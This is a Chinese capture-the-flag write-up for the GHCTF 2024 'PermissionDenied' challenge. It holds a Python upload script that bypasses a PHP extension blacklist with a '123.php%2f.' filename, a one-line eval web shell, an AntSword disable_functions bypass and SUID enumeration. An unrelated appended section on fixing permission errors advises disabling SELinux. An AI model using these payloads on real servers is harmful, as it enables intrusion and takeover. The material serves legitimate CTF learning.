GHCTF 2024 新生赛 PermissionDenied

#利用python上传文件 #蚁剑插件绕过被禁内置函数 #antswort执行命令 #file_put_contents上传文件漏洞 #suid提权

我们先看看代码:

<?php

 function blacklist($file){

     $deny_ext = array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jSp","jSpx","jSpa","jSw","jSv","jSpf","jHtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","aSp","aSpx","aSa","aSax","aScx","aShx","aSmx","cEr","sWf","swf","ini");

     $ext = pathinfo($file, PATHINFO_EXTENSION);

     foreach ($deny_ext as $value) {

         if (stristr($ext, $value)){

             return false;

         }

     }

     return true;

 }

 if(isset($_FILES['file'])){

     $filename = urldecode($_FILES['file']['name']);

     $filecontent = file_get_contents($_FILES['file']['tmp_name']);

     if(blacklist($filename)){

         file_put_contents($filename, $filecontent);

         echo "Success!!!";

     } else {

         echo "Hacker!!!";

     }

 } else{

     highlight_file(__FILE__);

 }

代码解析

第一段 设置了一个黑名单

pathinfo

pathinfo 在 PHP 中是一个函数,==用于返回文件路径的信息。==它以数组的形式返回关于文件路径的信息,包括目录路径、文件名、扩展名等。以下是 pathinfo 函数的一些基本用法和返回值:

基本用法
  • 语法
    pathinfo(string $path, int $options = PATHINFO_DIRNAME | PATHINFO_BASENAME | PATHINFO_EXTENSION | PATHINFO_FILENAME): mixed
    
  • 参数
    • $path:必需,指定要检查的路径。
    • $options:可选,指定要返回的数组元素。默认是返回所有元素。
返回值
  • 如果没有指定 $optionspathinfo 返回一个包含以下元素的关联数组:
    • dirname:目录路径
    • basename:文件名
    • extension:文件扩展名(如果有)
    • filename:不包含扩展名的文件名。
示例
<?php
$path_parts = pathinfo('/www/htdocs/inc/lib.inc.php');
echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
echo $path_parts['filename'], "\n";
?>

输出:

/www/htdocs/inc
lib.inc.php
php
lib.inc
注意事项
  • pathinfo 是本地化的,所以为了正确解析包含多字节字符的路径,必须使用 setlocale() 函数来设置匹配的区域设置。
  • 如果路径有多个扩展名,PATHINFO_EXTENSION 只返回最后一个扩展名,而 PATHINFO_FILENAME 只剥离最后一个扩展名。

上传123.php/. 绕过黑名单

第二段

 if(isset($_FILES['file'])){

     $filename = urldecode($_FILES['file']['name']);

     $filecontent = file_get_contents($_FILES['file']['tmp_name']);

     if(blacklist($filename)){

         file_put_contents($filename, $filecontent);

         echo "Success!!!";

     } else {

         echo "Hacker!!!";

     }

 } else{

     highlight_file(__FILE__);

 }

这段代码处理文件上传并根据文件名进行一些操作。以下是对代码的详细解释和潜在的安全风险分析:

代码解释

  1. 检查文件上传

    if(isset($_FILES['file'])){
    

    检查是否有名为'file'的文件上传。

  2. 获取文件名并解码

    $filename = urldecode($_FILES['file']['name']);
    

    获取上传文件的原始名称,并进行URL解码。

  3. 读取文件内容

    $filecontent = file_get_contents($_FILES['file']['tmp_name']);
    

    从文件的临时存储位置读取文件内容。

  4. 黑名单检查

    if(blacklist($filename)){
        file_put_contents($filename, $filecontent);
        echo "Success!!!";
    } else {
        echo "Hacker!!!";
    }
    

    调用blacklist()函数检查文件名是否在黑名单中。如果在黑名单中,则将文件内容写入服务器,文件名由用户提供;否则,输出"Hacker!!!"。

  5. 无文件上传时高亮显示代码

    } else{
        highlight_file(__FILE__);
    }
    

    如果没有文件上传,则高亮显示当前PHP文件的源代码。

[[$_FILES]] [[file_put_contents]]

利用python写文件

因为题中并没有直接给我们文上传点 所以我们要利用python

要上传的文件内容应该写在你提供的文件中,也就是 1.php 文件里。你需要创建这个文件并写入你想要上传的内容。

步骤:

  1. 创建并编辑 1.php 文件

    在你的当前工作目录下创建一个名为 1.php 的文件,并在其中写入你想要上传的内容。例如:

    <?php 
    
    eval($_POST[0]);phpinfo();?>
    
  2. 确保文件路径正确

    确保 1.php 文件与你的 Python 脚本在同一个目录下,或者提供正确的文件路径。

  3. 修改文件打开模式

    在你的代码中,打开文件时应该使用二进制读模式 'rb'

    file = {
        "file": ("123.php%2f.", open('1.php', 'rb'))
    }
    
  4. 运行脚本

    运行你的 Python 脚本,它会读取 1.php 文件的内容并上传到指定的 URL。

完整示例代码:

import requests

url = "http://node6.anna.nssctf.cn:22921/"  # 目标URL
file = {
    "file": ("123.php%2f.", open('1.php', 'rb'))  # 文件名和打开的文件
}
try:
    res = requests.post(url=url, files=file)  # 发送POST请求
    print(res.text)  # 打印服务器响应
except Exception as e:
    print("发生错误:", e)

注意事项:

  • 文件内容

    确保 1.php 文件中包含你想要上传的内容。

  • 文件编码

    如果文件名或文件内容包含特殊字符,可能需要进行 URL 编码。

  • 服务器端要求

    确认服务器端接受上传的文件类型和字段名称。

绕过黑名单

上传123.php/.绕过黑名单

同时· 联合file_put_contents上传文件的·漏洞 :
当上传123.php/.的时候,file_put_contents函数会认为是要在123.php文件所在的目录下创建一个名为.的文件,最终上传创建的是123.php
由于file_put_contents的漏洞
下面我们想做的事情就会被正常做了

python脚本:

import requests

url = "http://node6.anna.nssctf.cn:22921/"
file = {
    "file":("123.php%2f.",open('1.php','rb'))
}
res = requests.post(url=url,files=file).text
print(res)

请添加图片描述

去访问,发现成功了
请添加图片描述

利用antswort

我们用ant连接一下
请添加图片描述

我们看到flag是有内容的,但是无法查看
权限是0740

在Linux系统中,文件权限通常用三位数字表示,分别对应文件所有者(User)、所属组(Group)和其他用户(Other)的权限。每个数字可以转换为三位二进制数,分别代表可读(r)、可写(w)和可执行(x)权限。

对于权限 0740,其具体含义如下:

  • 0:通常表示特殊权限位,0表示没有设置特殊权限位.
  • 7:表示文件所有者(User)的权限,二进制为 111,即具有可读(r)、可写(w)和可执行(x)权限.
  • 4:表示所属组(Group)的权限,二进制为 100,即只有可读(r)权限,没有可写(w)和可执行(x)权限.
  • 0:表示其他用户(Other)的权限,二进制为 000,即没有任何权限.

因此,权限 0740 表示文件所有者可以读、写和执行该文件,所属组用户只能读取该文件,而其他用户没有任何权限。

想改一下权限 发现失败了

终端试一下呢
请添加图片描述
不行

下面介绍一下我们shell的大敌:

disable_functions

请添加图片描述

看到php配置中 存在disable_functions它禁用了一些内置函数 我们能看到其中就有命令执行函数被禁用了

[[绕过Disable Functions]]

这里我们利用antswory的插件绕过
请添加图片描述

php版本为7.2.34

我们选择LD_PRELOAD模式并点击开始按钮,成功后蚁剑会在/var/www/html目录里上传一个.antproxy.php文件。我们创建副本, 并将连接的 URL shell 脚本名字改为.antproxy.php获得一个新的shell,在这个新shell里面就可以成功执行命令了。

我这不能行,希望各位的可以
那我就用其他方法了:

suid提权

我们换换方法 ,既然我们是因为没有权限读取文件,我们就试试[[Linux suid提权]]

SUID 提权的过程

  1. 查找 SUID 文件:攻击者首先查找系统中设置了 SUID 位的文件。
    find / -perm -4000 -type f 2>/dev/null
    
  2. 分析文件功能:攻击者分析这些文件的功能,寻找可能的漏洞。
  3. 利用漏洞提权:如果文件存在漏洞,攻击者可以通过执行该文件来提升权限。

请添加图片描述

我们利用插件,因为原本终端不能直接执行命令

查找SUID文件
请添加图片描述
找到了

令人没想到的是,过去就给了
请添加图片描述

NSSCTF{9e3704fd-adc5-429f-a966-6a2007d5b6e0}

请添加图片描述

### 权限被拒绝 (Permission denied) 的解决方案 当遇到 `Permission denied` 错误时,通常是因为文件或目录的权限设置不正确、SELinux 策略限制或其他安全机制阻止了操作。以下是针对不同场景的具体解决方法: #### 1. SELinux 导致的 Permission Denied 如果系统启用了 SELinux 并处于 enforcing 模式,可能会导致某些操作因策略限制而失败。 - **临时关闭 SELinux** 可以通过运行以下命令将其切换为 permissive 模式,从而暂时解决问题: ```bash setenforce 0 ``` 这仅对当前会话有效,在重启后恢复默认配置[^1]。 - **永久修改 SELinux 设置** 为了长期禁用 SELinux 或调整其模式,可以编辑 `/etc/selinux/config` 文件并将其中的 `SELINUX=enforcing` 改为 `SELINUX=permissive` 或者 `SELINUX=disabled` 后保存并重启系统。 #### 2. 文件或目录权限不足 检查目标文件或目录的访问权限是否适当。使用以下命令查看权限: ```bash ls -l /path/to/file_or_directory ``` 如果发现权限不够,可尝试更改所有权或增加读写执行权限: ```bash chmod u+x /path/to/executable_file # 增加用户执行权限 chown your_user:your_group /path/to/directory # 更改所有者和组归属 ``` 对于需要共享资源的情况(如 Docker sock),确保相关进程拥有足够的权限来访问该路径[^3]。 #### 3. 安装软件过程中无 sudo 权限时处理 CMake 示例 在无法获得管理员权限的情况下安装工具(例如 cmake),可以选择本地编译安装的方式绕过全局依赖管理器的要求。 具体步骤如下所示: - 下载官方发布的 tarball 版本压缩包; - 执行解压与自定义前缀构建流程完成部署工作; 示例脚本片段展示如何实现这一过程而不需 root 访问权柄: ```bash wget https://github.com/Kitware/CMake/releases/download/v3.x.y/cmake-3.x.y.tar.gz tar xf cmake-*.tar.gz && cd cmake-* ./bootstrap --prefix=$HOME/local/cmake make -j$(nproc) make install echo 'export PATH="$HOME/local/cmake/bin:$PATH"' >> ~/.bashrc source ~/.bashrc ``` 以上代码段来自参考资料说明非特权环境下手动搭建开发环境的方法[^2]。 #### 总结 综合考虑多种因素引发 permission denied 报错现象的实际案例分析可知,通过合理调节操作系统层面的安全参数设定或者采取针对性措施规避特定条件下的约束能够有效地克服此类障碍。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值